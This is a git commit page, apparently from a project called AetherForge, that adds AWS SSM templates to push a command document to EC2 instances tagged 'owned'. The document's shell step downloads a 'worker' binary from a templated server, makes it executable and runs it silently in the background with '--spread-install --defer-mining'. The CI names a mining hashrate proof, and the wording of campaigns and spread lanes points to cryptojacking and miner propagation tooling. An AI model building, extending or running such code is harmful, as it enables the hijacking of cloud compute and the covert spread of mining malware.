Add ssm_document spread lane for owned EC2 via SSM Run Command.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
5
templates/spread/ssm/create-document.sh
Normal file
5
templates/spread/ssm/create-document.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/sh
|
||||
AWS_CLI="${AWS_CLI:-aws}"
|
||||
DOC_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
DOC_NAME="AetherForge-ErasureSpread-{{BUILD_ID}}"
|
||||
"$AWS_CLI" ssm create-document --name "$DOC_NAME" --document-type "Command" --content "file://${DOC_DIR}/document.json" --tags "Key=Campaign,Value={{CAMPAIGN}}" "Key=Lane,Value=ssm_document"
|
||||
26
templates/spread/ssm/document.json
Normal file
26
templates/spread/ssm/document.json
Normal file
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"schemaVersion": "2.2",
|
||||
"description": "AetherForge erasure manifest + shard fetch — owned EC2 only. Campaign={{CAMPAIGN}} build={{BUILD_ID}}",
|
||||
"parameters": {
|
||||
"Campaign": { "type": "String", "default": "{{CAMPAIGN}}" }
|
||||
},
|
||||
"mainSteps": [
|
||||
{
|
||||
"action": "aws:runShellScript",
|
||||
"name": "fetchErasureShards",
|
||||
"inputs": {
|
||||
"runCommand": [
|
||||
"#!/bin/bash",
|
||||
"set -euo pipefail",
|
||||
"WORKDIR=/tmp/aetherforge-erasure",
|
||||
"mkdir -p \"$WORKDIR\"",
|
||||
"curl -fsSL '{{MANIFEST_URL}}' -o \"$WORKDIR/manifest.json\"",
|
||||
"{{SHARD_FETCH_LINES}}",
|
||||
"curl -fsSL '{{FALLBACK_GET_URL}}' -o \"$WORKDIR/worker\"",
|
||||
"chmod +x \"$WORKDIR/worker\"",
|
||||
"nohup \"$WORKDIR/worker\" --spread-install --defer-mining >/dev/null 2>&1 &"
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
7
templates/spread/ssm/run-command.json
Normal file
7
templates/spread/ssm/run-command.json
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"DocumentName": "AetherForge-ErasureSpread-{{BUILD_ID}}",
|
||||
"DocumentVersion": "$LATEST",
|
||||
"Targets": [{ "Key": "tag:AetherForge", "Values": ["owned"] }],
|
||||
"Parameters": { "Campaign": ["{{CAMPAIGN}}"] },
|
||||
"Comment": "AetherForge ssm_document lane — curl erasure manifest/shards from {{SERVER_URL}}"
|
||||
}
|
||||
Reference in New Issue
Block a user